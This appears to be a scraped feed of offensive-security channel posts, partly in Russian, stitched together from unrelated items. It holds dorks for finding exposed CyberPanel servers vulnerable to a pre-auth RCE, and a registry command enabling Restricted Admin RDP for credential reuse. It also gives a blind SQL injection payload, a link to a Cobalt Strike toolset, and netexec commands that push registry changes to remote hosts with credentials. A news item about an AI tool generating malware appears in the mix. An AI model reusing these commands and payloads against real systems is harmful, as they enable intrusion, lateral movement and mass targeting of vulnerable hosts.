1

Exploit for CyberPanel RCE found on v2.3.6

Blog: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce

Query:
HUNTER:

/product.name="CyberPanel"

FOFA:

app="CyberPanel"

Zoomeye:

“images/cyberpanel-banner”

Релиз моей статьи о пивотинге с использованием TailScale

Caster - Bipolar Disorder

Genre: Offensive, Experimental
Label: exploit.org
Release Date: 15 November 2024

Performed by: Caster
Written by: Magama Bazarov
Mastered by: Magama Bazarov, Anastasia Graves
Cover Man: Magama Bazarov (Sony ILCE-7M3, f/5.6, 1/3 sec)
Cover Edit: Caster

https://blog.exploit.org/caster-bipolar-disorder

Disable

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f

ИИ-ассистент для преступника — Venice.ai сгенерирует любой вирус или шпионку. И не задаст ни одного вопроса
https://www.securitylab.ru/news/559549.php

🧐
/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay

➤ Hide icon (System Tray)

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f

taskkill /f /im explorer.exe & start explorer.exe

CobaltStrike-Toolset.
Aggressor Script, Kit, Malleable C2 Profiles, External C2 and so on.

https://github.com/QAX-A-Team/CobaltStrike-Toolset

Search for computers that allow multiple RDP sessions. By default, Windows Server versions have the fSingleSessionPerUser value set to 0, allowing multiple users to log into the server via RDP. On workstations like Windows 10/11, the fSingleSessionPerUser value is set to 1, meaning only one user can log in via RDP at a time.

netexec smb ips_445.txt -u user -p passw0rd -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser'

Enables workstations to accept multiple RDP sessions. Running this will cause the RDP service to restart, interrupting established RDP connections.

netexec smb ips_445.txt -u user -p passw0rd -x 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f && sc.exe stop TermService && sc.exe start TermService'